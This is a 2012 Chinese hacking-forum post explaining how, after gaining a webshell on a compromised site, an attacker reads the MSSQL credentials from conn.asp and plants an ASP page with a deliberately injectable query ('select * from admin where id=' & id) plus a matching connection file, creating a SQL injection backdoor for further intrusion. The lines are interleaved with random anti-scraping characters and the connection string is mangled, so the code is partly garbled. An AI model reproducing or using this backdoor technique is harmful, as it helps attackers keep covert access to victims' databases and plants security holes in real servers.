找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1957|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵3 s: T9 V6 h# {8 V& ?& c; C! B

: r# z5 t4 q, x+ ?5 Y* I, A今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
3 |& f/ f9 e3 O- P( S& g& R; \7 \
& K) o- U; m, k. @: {这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
. U, J( Z% M' \5 f# R) |) j
: {- \' I/ t/ e% }7 P# @& c首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
: r2 u! x5 d  j0 L9 q; u7 I6 S2 f. B  ?% E" t/ p
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表7 G* c) u, Z  U, L) u5 w- @
% k) e/ f, J5 f6 ]2 ~
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
# B; n7 K$ w4 I2 Z) U/ z; n! k
  [! n; i8 x! V+ ^$ J* f程序代码
4 b) [9 i  x7 ~9 L5 Q<!--#include file="xx.asp"-->; ]! \* R# ^: M7 ~. _4 A) A3 Y  f
<%$ ^. U0 _6 q4 z( I" k) h
set rs=server.createobject("ADODB.recordset")
% {6 q8 Q4 l& qid = request("id")
8 D( |* w# G& l6 a. p, R( QstrSQL = "select * from admin where id=" & id
9 G  x3 U+ G" W7 W# d9 Jrs.open strSQL,conn,1,3) G% V$ G0 p9 ^( j4 a' K0 z
rs.close7 J9 w8 ?" c, [3 P# ^0 a
%>- O  ?3 O" x" I# L, u6 n

$ D: J/ r4 z  a( Z( e8 F( E把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在3 X: Z2 y& u+ k) l& Y
) s6 E4 _4 W$ B! e, O. d, s6 c
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!, X8 P" c7 G+ S
6 }2 f; E$ Q# L( `! _. H
然后就要构造一个连接数据库的文件了,代码如下:  W5 ]# d4 K6 c# g
程序代码; {1 A& }3 Z/ C. a) h9 j
<%        ! J" K: v1 x5 }- V6 n# o
strSQLServerName = "000.000.000.000"     '服务器名称或地址
2 \$ F$ [! i  A0 A  d. W  W. DstrSQLDBUserName = "sqlname"         '数据库帐号
7 R5 i4 J" J) GstrSQLDBPassword = "sqlpass"         '数据库密码
2 F8 H3 {+ h% Z. a( KstrSQLDBName = "sqldataname"           '数据库名称
1 E$ m2 n$ v5 l7 E9 _Set conn = Server.CreateObject("ADODB.Connection")
& t6 n" ]9 d1 _7 t- i# M4 W# astrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"' y" F9 i  [& j
conn.open strCon% T/ S9 |: [5 Z& O) ~% k/ ^/ A% O0 x
%>
, I  s1 m! z' }# I, r1 o0 {- W5 G+ x0 q# e; n/ C
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,8 p% y. E. K& y! N

% ~  g+ G$ Q$ ]4 h4 W就这样,正常情况下,就OK了,伪造成功……/ P- g  Q0 M1 f' U" h

' I5 f! n" I5 l" s! j6 N           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表